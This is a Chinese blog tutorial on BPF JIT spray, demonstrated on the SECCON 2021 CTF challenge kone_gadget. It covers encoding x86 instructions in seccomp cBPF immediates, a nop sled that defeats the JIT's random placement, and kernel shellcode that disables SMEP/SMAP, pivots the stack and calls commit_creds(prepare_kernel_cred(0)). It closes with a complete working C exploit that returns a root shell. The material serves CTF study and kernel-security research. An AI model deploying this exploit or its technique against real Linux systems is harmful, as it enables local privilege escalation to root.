BPF之路五JIT Spray技术

 

简介

JIT喷射通过JIT来绕过ASLR(地址随机化)和DEP(数据不可执行), 举个例子, 有如下JS代码

var a = (0x11223344^0x44332211^0x44332211^ ...);

那么JIT编译后会产生如下x86指令

0:  b8 44 33 22 11      mov $0x11223344,%eax    mov eax,0x11223344
5:  35 11 22 33 44      xor $0x44332211,%eax    xor eax,0x44332211
a:  35 11 22 33 44      xor $0x44332211,%eax    xor eax,0x44332211

如果我们利用各种漏洞令RIP跳转到mov指令的第二字节, 那么就会被解读为全新的x86指令, 完成任意指令执行

1:  44                  inc %esp                inc esp
2:  33 22               xor (%edx),%esp         xor esp,DWORD PTR [edx]
4:  11 35 11 22 33 44   adc %esi,0x44332211     adc DWORD PTR ds:0x44332211,esi
a:  35 11 22 33 44      xor $0x44332211,%eax    xor eax,0x44332211

缓解措施有二, 我们都在上一篇的do_jit()函数中看到过: 1: 对JIT翻译出的指令进行地址随机化 2: 启用立即数致盲, 不出现指定的立即数

我们本篇先假设不启用立即数致盲

 

如何嵌入x86指令

我们要探究的第一个问题就是如何用稳定的方式, 在eBPF指令中插入x86的指令, 一种比较好的方法是在eBPF中ALU指令的imm字段写入x86指令. 因为ALU指令在JIT时几乎是与x86一一对应的, 并且imm部分是照办过去的, 性质很好.

这里以ldw R0, 任意值指令为例子, 过程如下

eBPF:   +------------------------+----------------+----+----+--------+
        |immediate               |offset          |src |dst |opcode  |
        +------------------------+----------------+----+----+--------+
        |       32:任意值         |    16          | 4  |4:0 | 8:0xb4 |

                             |    JIT
                             V

x86:    +------------------------+--------+
        |immediate               |opcode  |
        +------------------------+--------+
        |    32:任意值            |8:0xb8  |

多个ldw R0, 任意值指令一起JIT之后就可以得到如下结构

    x86:            内存中的表示
mov eax, A;        [0, 5):   0xb8 p32(A)
mov eax, B;        [5, 10):  0xb8 p32(B)
mov eax, C;        [10: 15): 0xb8 p32(C)
...

跳转时我们要跳转到0xb8后一字节的位置, 也就是从p32(A)开始执行. 下面研究下立即数里面要放什么.

首先要解决的问题就是A与B中间间隔了一个0xb8, 怎么跳过这个0xb8. 思路有两种:

  • 用别的指令前缀吃掉0xb8
  • jmp 1指令直接跳到B中

对于第一种思路我用脚本遍历了任意一字节+0xb8+p32(B)的情况, 有下列可用前缀, 其中3ca8性质最好, 不会改变ax

04 b8                   add    al, 0xb8
0c b8                   or     al, 0xb8
14 b8                   adc    al, 0xb8
1c b8                   sbb    al, 0xb8
24 b8                   and    al, 0xb8
2c b8                   sub    al, 0xb8
34 b8                   xor    al, 0xb8
3c b8                   cmp    al, 0xb8    *
a8 b8                   test   al, 0xb8    *
b0 b8                   mov    al, 0xb8  
b1 b8                   mov    cl, 0xb8
b2 b8                   mov    dl, 0xb8
b3 b8                   mov    bl, 0xb8
b4 b8                   mov    ah, 0xb8
b5 b8                   mov    ch, 0xb8
b6 b8                   mov    dh, 0xb8
b7 b8                   mov    bh, 0xb8

cmp al, 0xb8为例子, 前缀是0x3c, 要放到0xb8前面, 也就是A的最高字节, 我们可以如下编码

    eBPF:                    x86                        内存
ldw R0, 0x3c9012b0        mov eax, 0x3c9012b0        0xb8 0xb0 0x12 0x90 0x3c
ldw R0, 0x3c9034b4        mov eax, 0x3c9034b4        0xb8 0xb4 0x34 0x90 0x3c

令RIP跳转到0xb8后面一字节就有如下指令, 可完成ax=0x3412的工作(本来以ax=0x1234为例子, 结果搞反了ah al, 不过问题不大)

    内存            x86
0xb0 0x12       mov al, 0x12
0x90            nop
0x3c 0xb8       cmp al, 0xb8    ;用0x3c吃掉一个0xb8
0xb4 0x34       mov ah, 0x34
0x90            nop
0x3c ...        ...            ;继续吃掉下一个0xb8

对于第二种思路可以使用jmp $+3指令, +3包含2字节jmp指令的长度和1字节0xb8, 编译出来也就是0xeb 0x01, 我们可以如下编码

    eBPF:                    x86                        内存
ldw R0, 0x01eb12b0        mov eax, 0x01eb12b0        0xb8 0xb0 0x12 0xeb 0x01
ldw R0, 0x01eb34b4        mov eax, 0x01eb34b4        0xb8 0xb4 0x34 0xeb 0x01

令RIP跳转到0xb8后面一字节就有如下指令, 同样是完成ax=0x3412的工作

    内存            x86
0xb0 0x12        mov al, 0x12  
0xeb 0x01        jmp $+3            ;直接过0xb8, 进入mov ah, 0x34, 效果等价于PC = PC+1
0xb8
0xb4 0x34        mov ah, 0x34
0xeb 0x01        jmp $+3
...

两种方法比较而言 我更喜欢第一种, 因为可以用3B空间写入任意x86指令, 而第二种只有2B. 足以写入很多指令

接下来我会以2021 SECCON CTF的kone_gadget为例子, 展示这种手法

 

例题介绍

题目十分简洁. 启动脚本如下, 开了smap, smep, 没开kaslr

qemu-system-x86_64 \
        -m 64M \
        -nographic \
        -kernel bzImage \
        -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr" \
        -no-reboot \
        -cpu kvm64,+smap,+smep \
        -smp 1 \
        -monitor /dev/null \
        -initrd rootfs.cpio \
        -net nic,model=virtio \
        -net user \
        $DEBUG_ARG

本题没有插入设备, 而是新增了一个系统调用, 可以让我们控制RIP, 但是除此之外的所有寄存器全部清0

Added to arch/x86/entry/syscalls/syscall_64.tbl:
1337 64 seccon sys_seccon
‍‍‍‍

Added to kernel/sys.c:
SYSCALL_DEFINE1(seccon, unsigned long, rip)
{
  asm volatile("xor %%edx, %%edx;"
               "xor %%ebx, %%ebx;"
               "xor %%ecx, %%ecx;"
               "xor %%edi, %%edi;"
               "xor %%esi, %%esi;"
               "xor %%r8d, %%r8d;"
               "xor %%r9d, %%r9d;"
               "xor %%r10d, %%r10d;"
               "xor %%r11d, %%r11d;"
               "xor %%r12d, %%r12d;"
               "xor %%r13d, %%r13d;"
               "xor %%r14d, %%r14d;"
               "xor %%r15d, %%r15d;"
               "xor %%ebp, %%ebp;"
               "xor %%esp, %%esp;"
               "jmp %0;"
               "ud2;"
               : : "rax"(rip));
  return 0;
}

按照常规思路: 想要进行ROP那么需要先恢复RSP, 不然连call和ret指令都无法完成, 因此要寻找mov rsp, ...这种GG, 内核中这种GG并不多, 只有mov rsp, gs:0x6004可以恢复RSP, 但是无法控制接下来的调用. 由此常规思路陷入死胡同, 打出GG退出游戏

此时就可以引入JIT Spray, 利用BPF的JIT在内核中写入任意指令, 然后通过系统调用运行shellcode, 这也就是题目所指的OneGadget

 

如何注入eBPF程序

当我们尝试进行bpf系统调用注入程序时会发现这个内核并不支持bpf系统调用. 那还有没有什么别的方法能够注入eBPF程序呢?

答案就是seccomp, 其本质上也就是一段BPF指令, 在进程进行系统调用时触发, 从而完成各种系统调用的过滤. seccomp通过prctl()注入BPF, 我们需要先看下man学习下用法

//prctl - 控制一个进程或者线程
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3,
                 unsigned long arg4, unsigned long arg5);

prctl()操作调用线程或者进程的各个方面的行为. prctl()使用第一个参数来描述要做什么, 值定义在<linux/prctl.h>. 我们只看PR_SET_SECCOMP

PR_SET_SECCOMP用于设置调用线程的安全计算模式, 来限制可用的系统调用. 最近的seccomp()系统调用提供了PR_SET_SECCOMP功能的超集, (换言之, 不管怎么设置, seccomp的限制总会越来越大).

seccomp的模式通过arg2选择, 这些常数都定义在<linux/seccomp.h>

arg2设置为SECCOMP_MODE_FILTER时, 允许的系统调用可以通过arg3指向的BPF程序定义. arg3指向struct sock_fprog, 可以被设计用于过滤任何系统调用以及系统调用的参数. 这个操作只有内核编译时启用CONFIG_SECCOMP_FILTER才可以

如果SECCOMP_MODE_FILTER过滤器允许fork(), 那么seccomp模式会在fork()时被子进程继承. 如果过滤器允许execve(), 那么seccomp模式也会被保留. 如果过滤器允许prctl()调用, 那么可以添加额外的过滤器, 过滤器会按照顺序执行, 直到返回一个不允许的结果为止

为了设置过滤器, 调用线程要么在用户空间中具有CAP_SYS_ADMIN的能力(有管理系统相关配置的能力), 要么必须已经设置了no_new_privs标志, 此标志可通过如下调用设置: prctl(PR_SET_NO_NEW_PRIVS, 1); 不然的话SECCOMP_MODE_FILTER就会失败, 并把errno设置为EACCES, 也就是无权访问.

这一要求保证了一个非特权进程不能执行一个恶意的过滤器, 然后使用execve()调用set-user-ID或者其他特权进程. 举个例子, 一个过滤器可能会尝试使用setuid()来设置调用者的用户ID为非0值, 而不是真正执行系统调用而返回0. 因此程序可能会被诱骗保留超级用户权限,因为它实际上并没有放弃权限。

除了SYS_prctl以外还有一个系统调用SYS_seccomp也可以用于设置seccomp. 设置过滤器时prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, args);seccomp(SECCOMP_SET_MODE_FILTER, 0, args)是等价的

设置过滤器时args要指向一个过滤器程序, 该结构体定义如下

struct sock_fprog {
               unsigned short      len;    /* 有多少条BPF程序 */
               struct sock_filter *filter; /* 指向BPF指令数组 */
           };

struct sock_filter表示一个BPF指令, 定义如下. 注意seccomp只支持最原始的cBPF

struct sock_filter {            /* Filter block */
               __u16 code;                 /* Actual filter code */
               __u8  jt;                   /* Jump true */
               __u8  jf;                   /* Jump false */
               __u32 k;                    /* Generic multiuse field */
           };

https://a1ex.online/2020/09/27/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

对于cBPF其操作码如下, 因此同样是ldw AX, 任意值指令, 对于cBPF就编码为: {0, 0, 0, 任意值}

#define        BPF_LD        0x00                    //将值cp进寄存器
#define        BPF_LDX        0x01
#define        BPF_ST        0x02
#define        BPF_STX        0x03
#define        BPF_ALU        0x04
#define        BPF_JMP        0x05
#define        BPF_RET        0x06
#define        BPF_MISC        0x07

因此我们可以通过如下方式注入BPF

void install_seccomp(char *insn, unsigned int len){
    struct sock_fprog {
       unsigned short      len;    /* 有多少条BPF程序 */
       struct sock_filter *filter; /* 指向BPF指令数组 */
   } prog;
    prog.len = len;
    prog.filter = insn;

    if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)<0){
        perror("PR_SET_NO_NEW_PRIVS");
        exit(-1);
    }

    if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)<0){
        perror("PR_SET_SECCOMP");
        exit(-1);
    }
}

int main(void)
{
    //保存BPF程序
    struct sock_filter prog[] = {
        {0x00, 0, 0, 0x3c909090},    //ldw AX, 0x3c909090
        {0x06, 0, 0, 0x7fff0000},    //ret ALLOW ALL syscall
    };

    install_seccomp(prog, sizeof(prog)/sizeof(prog[0]));
    getchar();
}

 

如何找到JIT编译后的指令

seccomp的filter最终也是通过do_jit()编译的. 通过上篇文章的分析我们知道, 编译后的指令都存放在struct bpf_binary_header中某个随机偏移的位置. 而struct bpf_binary_header又是通过bpf_jit_alloc_exec(size)分配的. 该函数定义如下, module_alloc()会通过__vmalloc()从模块所属区域分配一片可执行内存

void* __weak bpf_jit_alloc_exec(unsigned long size)
{
    return module_alloc(size);
}

我们首先要确定struct bpf_binary_header的位置, 有条件的话可以在此函数打上断点, 就能直接找到了. 没条件的话根据内核的内存布局, 我们知道其位于0xffffffffa0000000~0xffffffffff000000范围内

0xffffffffffffffff  ---+-----------+-----------------------------------------------+-------------+
                       |           |                                               |+++++++++++++|
    8M                 |           | unused hole                                   |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffff7ff000  ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
    1M                 |           |                                               |+++++++++++++|
0xffffffffff600000  ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
    548K               |           | vsyscalls                                     |+++++++++++++|
0xffffffffff577000  ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
    5M                 |           | hole                                          |+++++++++++++|
0xffffffffff000000  ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    1520M              |           | module mapping space (MODULES_LEN)            |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffa0000000  ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    512M               |           | kernel text mapping, from phys 0              |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffff80000000  ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
    2G                 |           | hole                                          |+++++++++++++|
0xffffffff00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    64G                |           | EFI region mapping space                      |+++++++++++++|
0xffffffef00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    444G               |           | hole                                          |+++++++++++++|
0xffffff8000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | %esp fixup stacks                             |+++++++++++++|
0xffffff0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    3T                 |           | hole                                          |+++++++++++++|
0xfffffc0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | kasan shadow memory (16TB)                    |+++++++++++++|
0xffffec0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffeb0000000000  ---+-----------+-----------------------------------------------| kernel space|
    1T                 |           | virtual memory map for all of struct pages    |+++++++++++++|
0xffffea0000000000  ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffe90000000000  ---+-----------+------------| VMALLOC_END   |------------------|+++++++++++++|
    32T                |           | vmalloc/ioremap (1 << VMALLOC_SIZE_TB)        |+++++++++++++|
0xffffc90000000000  ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffc80000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
    64T                |           | direct mapping of all phys. memory            |+++++++++++++|
                       |           | (1 << MAX_PHYSMEM_BITS)                       |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    8T                 |           | guard hole, reserved for hypervisor           |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
                       |-----------|                                               |-------------|
                       |-----------| hole caused by [48:63] sign extension         |-------------|
                       |-----------|                                               |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
    PAGE_SIZE          |           | guard page                                    |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
                       |           |                                               |  user space |
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
    128T               |           | different per mm                              |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+

然后调试的时候手动找也能找到. 由于没开启KASLR, 因此模块地址是确定的. JIT编译出的指令被放在模块映射空间, 属于模块的一部分, 因此其地址也是确定的.

知道bpf_binary_header对象位于[0xffffffffc0000000, 0xffffffffa0000000+PAGE_SIZE)后, 下一个要解决的就是随机偏移的问题.

我们回顾下bpf_jit_binary_alloc()的过程. 可以发现随机化的范围, 是由hole决定的, hole越小随机的偏移也越小. 而hole = MIN( size - (proglen + sizeof(*hdr)), PAGE_SIZE - sizeof(*hdr) ), PAGE_SIZE - sizeof(*hdr)是一个定值为0x1000-sizeof(int), 因此我们只能尽量缩小size - (proglen + sizeof(*hdr))

我们已知size = round_up(proglen + sizeof(*hdr) + 128, PAGE_SIZE), 为简单起见, 不妨设size=PAGE_SIZE, 去掉round_up(), 也就是说proglen + sizeof(*hdr) + 128 <= PAGE_SIZE

那么我们带入hole的公示可得: hole = size - (proglen + sizeof(*hdr)) = PAGE_SIZE-(proglen + sizeof(*hdr)).因此prog_len越大, hole越小, 根据不妨设, 我们可知MAX(prog_len) = PAGE_SIZE - 128 - sizeof(*hdr) = PAGE_SIZE-128-4, 因此JIT之后的指令长度为PAGE_SIZE-128-4是最优解

struct bpf_binary_header* bpf_jit_binary_alloc(unsigned int proglen, u8** image_ptr, unsigned int alignment, bpf_jit_fill_hole_t bpf_fill_ill_insns)
{
    struct bpf_binary_header* hdr;
    u32 size, hole, start, pages;

    //大多数BPF过滤器很小, 但是如果能填充满一页,只要留128字节额外空间来插入随机的的不合法指令
    size = round_up(proglen + sizeof(*hdr) + 128, PAGE_SIZE);   //所需空间
    pages = size / PAGE_SIZE;   //所需页数

    ...;

    hdr = bpf_jit_alloc_exec(size); //分配可执行内存

    /* 调用填充函数, 写满不合法指令 */
    bpf_fill_ill_insns(hdr, size);  

    hdr->pages = pages; //占据多少页
    //size根据PAGE_SIZE向上对齐, 为真正分配的内存, (proglen + sizeof(*hdr)为真正使用的内存, 两者的差就可作为随机偏移的范围
    hole = min_t(unsigned int, size - (proglen + sizeof(*hdr)), PAGE_SIZE - sizeof(*hdr)); 
    start = (get_random_int() % hole) & ~(alignment - 1);   // start为hole中随机偏移的结果

    /* *image_ptr为hdr中JIT指令真正开始写入的位置 */
    *image_ptr = &hdr->image[start];

    return hdr;
}

我们也可以抛开推导过程, 形象些理解. 把bpf_binary_header想象为一个PAGE_SIZE长的线段A. JIT编译出的指令就是其中长为prog_len的线段B. 线段B在线段A中随机浮动, 很显然如果两个线段长度一样, 那么就不会晃来晃去, 也就没随机化可言了, 内核为了防止这种情况强制要求空出128B空间, 那么自然是把剩余空间都占满最好.

注意prog_len指的是JIT编译成x86指令的长度, 我们还要换算成eBPF指令的长度, 如果每一条都是ldw AX, ...翻译为mov eax, ...的话, 那么eBPF指令:x86指令长度=8:5, 换算一下eBPF指令最好为(PAGE_SIZE-128-4)*8/5 = 0x18c6. 考虑到函数序言和函数收尾的指令, 以及eBPF不完全是ldw AX, ..., 为了不给自己挖抗, eBPF指令还要短一些, 我这里取0x1780最为最终的eBPF指令的长度, 大家也可以视情况调整.

因此可以写入如下exp. 预先用ldw AX, 0x3c909090填充, 因为编译为x86之后为nop; nop; nop; cmp al, 0xb8; nop; nop; nop; cmp al, 0xb8; ..., 可以构建一个nop滑行, 只要命中这部分任意位置都可以成功执行尾部的shellcode

int main(void)
{
    unsigned int prog_len = 0x1780/8;

    struct sock_filter *prog = malloc(prog_len*sizeof(struct sock_filter));
    for(int i=0; i<prog_len; i++)
    {
        //ldw AX, 0x3c909090
        prog[i].code = 0x00;  
        prog[i].jt = 0x00;
        prog[i].jf = 0x00;
        prog[i].k = 0x3c909090; //fill with x86 ins nop. 
    }
    //ret ALLOW, allow any syscall
    prog[prog_len-1].code = 0x06;
    prog[prog_len-1].jt = 0x00;
    prog[prog_len-1].jf = 0x00;
    prog[prog_len-1].k = 0x7FFF0000;  

    install_seccomp(prog, prog_len);
    getchar();
}

编译结果如下, 可以看到命中率很高, 可直接绕过随机偏移的限制

利用题目的系统调用就可以直接跳转到偏移0x300的位置, 就可以错位解读JIT编译出的指令

void sys_seccon(void *addr){
    syscall(1337, addr);
}

int main(){
    ...;    //注入BPF
    sys_seccon(0xffffffffc0000000+0x300);    //bpf_binary_header + 偏移, 偏移要>hole即可保证一定成功
}

 

编写shellcode提权

能够执行任意指令后, 先控制cr4关闭SMEP SMAP, 这样就可以进行ROP了, 下图为CR4寄存器的定义20 21位用于设置SMEP, SMAP,

正常状态下cr4=0x3006f0, 我们只要将其设置为0x6F0即可.

    //no SMEP, no SMAP
    prog[start++].k = 0x3cc03148;   //xor rax, rax
    prog[start++].k = 0x3c90f0b0;   //mov al, 0xf0
    prog[start++].k = 0x3c9006b4;   //mov ah, 0x06
    prog[start++].k = 0x3ce0220f;   //mov cr4, rax  ;cr4=0x6f0

之后我们还需要调用commit_cred等函数, 需要8字节长的地址. JITed指令只有3字节, 无法写入8字节的立即数, 此时我们可以通过栈迁移, 然后使用pop rax; call rax来进行调用.

这里我选择从0x1000开始映射16页, 因为函数执行时需要栈空间. 然后把cred等8字节地址放入中间, 也就是0x8000. 这里要注意, mmap之后一定要写入一遍, 以保证确实分配了对应的页, 不然内核在访问时会导致缺页异常, 直接kernel crash.

    //no SMEP, no SMAP
    prog[start++].k = 0x3cc03148;   //xor rax, rax
    prog[start++].k = 0x3c90f0b0;   //mov al, 0xf0
    prog[start++].k = 0x3c9006b4;   //mov ah, 0x06
    prog[start++].k = 0x3ce0220f;   //mov cr4, rax  ;cr4=0x6f0

    //RSP=0x8000
    prog[start++].k = 0x3cc03148;   //xor rax, rax
    prog[start++].k = 0x3c9080b4;   //mov ah, 0x80  ;ax=0x8000
    prog[start++].k = 0x3cc48948;   //mov rsp, rax  ;rsp=0x8000

    //prepare_kernel_cred(0)
    prog[start++].k = 0x3cff3148;   //xor rdi, rdi
    prog[start++].k = 0x3c909058;   //pop rax;
    prog[start++].k = 0x3c90d0ff;   //call rax

    //commmit_creds(prepare_kernel_cred(0))
    prog[start++].k = 0x3cc78948;   //mov rdi, rax
    prog[start++].k = 0x3c909058;   //pop rax;
    prog[start++].k = 0x3c90d0ff;   //call rax

    //forge stack
    uLL *stack = mmap(0x1000, PAGE_SIZE*0x10, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0);
    LOG(stack);
    memset(0x1000, '\x00', PAGE_SIZE*0x10); //must POPULATE it !!!!!, 
    int i=(0x8000-0x1000)/8;

    //get root
    stack[i++] = 0xffffffff81073c60;    //prepare_kernel_cred(0)
    stack[i++] = 0xffffffff81073ad0;    //commit_creds(prepare_kernel_cred(0)

在提权完毕后还需要考虑如何返回到用户空间, 我们不用手动执行swapgs, iret等, 有一个函数叫swapgs_restore_regs_and_return_to_usermode, 其过程如下, 我们可以跳转到swapgs_restore_regs_and_return_to_usermode+0x16的位置, 同时在栈上布置好iretq的返回现场, 就可以. 详见完整EXP中

 

EXP

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <time.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <stdint.h>
#include <sys/sem.h>
#include <pthread.h>
#include <sys/msg.h>
#include <linux/bpf.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>

typedef unsigned long long uLL;
typedef long long LL;
#define PAGE_SIZE (0x1000)

#define LOG(val) printf("[%s][%s][%d]: %s=%p\n", __FILE__, __FUNCTION__, __LINE__, #val, val)

//通过seccomp注入BPF指令
void install_seccomp(char *insn, unsigned int len){
    struct sock_fprog {
       unsigned short      len;    /* 有多少条BPF程序 */
       struct sock_filter *filter; /* 指向BPF指令数组 */
    } prog;
    prog.len = len;
    prog.filter = insn;

    if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)<0){
        perror("PR_SET_NO_NEW_PRIVS");
        exit(-1);
    }

    if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)<0){
        perror("PR_SET_SECCOMP");
        exit(-1);
    }
}

void sys_seccon(void *addr){
    syscall(1337, addr);
}

//获取shell, 一定要设置argv与envp, 避免坑
static void getshell() {
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    execve("/bin/sh", argv, envp);
}

//保存用户态的一些寄存器, 用于iret返回
uLL user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
      :
      : "memory");
}

int main(void)
{
    save_state();
    unsigned int prog_len = 0x1780/8;

    //先构建一个程序,全部用nop填充, 以构建nop滑行, 绕过start的随机偏移
    struct sock_filter *prog = malloc(prog_len*sizeof(struct sock_filter));
    for(int i=0; i<prog_len; i++)
    {
        //ldw AX, 0x3c909090
        prog[i].code = 0x00;  
        prog[i].jt = 0x00;
        prog[i].jf = 0x00;
        prog[i].k = 0x3c909090; //fill with x86 ins nop. 
    }

    //最终总是返回ALLOW, 允许所有系统调用
    prog[prog_len-1].code = 0x06;
    prog[prog_len-1].jt = 0x00;
    prog[prog_len-1].jf = 0x00;
    prog[prog_len-1].k = 0x7FFF0000;  

    int start = prog_len - 0x100;    //shellcode防止程序末尾
    //关闭SMEP SMAP
    prog[start++].k = 0x3cc03148;   //xor rax, rax
    prog[start++].k = 0x3c90f0b0;   //mov al, 0xf0
    prog[start++].k = 0x3c9006b4;   //mov ah, 0x06
    prog[start++].k = 0x3ce0220f;   //mov cr4, rax  ;cr4=0x6f0

    //栈迁移 RSP=0x8000
    prog[start++].k = 0x3cc03148;   //xor rax, rax
    prog[start++].k = 0x3c9080b4;   //mov ah, 0x80  ;ax=0x8000
    prog[start++].k = 0x3cc48948;   //mov rsp, rax  ;rsp=0x8000

    //prepare_kernel_cred(0)
    prog[start++].k = 0x3cff3148;   //xor rdi, rdi
    prog[start++].k = 0x3c909058;   //pop rax;
    prog[start++].k = 0x3c90d0ff;   //call rax

    //commmit_creds(prepare_kernel_cred(0))
    prog[start++].k = 0x3cc78948;   //mov rdi, rax
    prog[start++].k = 0x3c909058;   //pop rax;
    prog[start++].k = 0x3c90d0ff;   //call rax

    //返回用户态: jump to swapgs_restore_regs_and_return_to_usermode
    prog[start++].k = 0x3c909058;   //pop rax;
    prog[start++].k = 0x3c90e0ff;   //jmp rax

    //映射一片内存作为内核的栈
    uLL *stack = mmap(0x1000, PAGE_SIZE*0x10, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0);
    LOG(stack);
    memset(0x1000, '\x00', PAGE_SIZE*0x10); //must POPULATE it !!!!!, 
    int i=(0x8000-0x1000)/8;

    //用于获取root权限
    stack[i++] = 0xffffffff81073c60;    //prepare_kernel_cred()
    stack[i++] = 0xffffffff81073ad0;    //commit_creds()

    //返回到用户态
    stack[i++] = 0xffffffff81800e10+0x16;    //swapgs_restore_regs_and_return_to_usermode+0x16
    stack[i++] = 0x0;                     //padding
    stack[i++] = 0x0;                     //padding
    stack[i++] = getshell;              //rip
    stack[i++] = user_cs;               //cs 
    stack[i++] = user_rflags;           //rflag
    stack[i++] = user_sp;              //rsp
    stack[i++] = user_ss;               //ss


    install_seccomp(prog, prog_len);

    sys_seccon(0xffffffffc0000000+0x300);

    getchar();
}
/*
def encode(s):
    res = asm(s)[::-1]
    for C in res:
        print(hex(ord(C)))
*/
(完)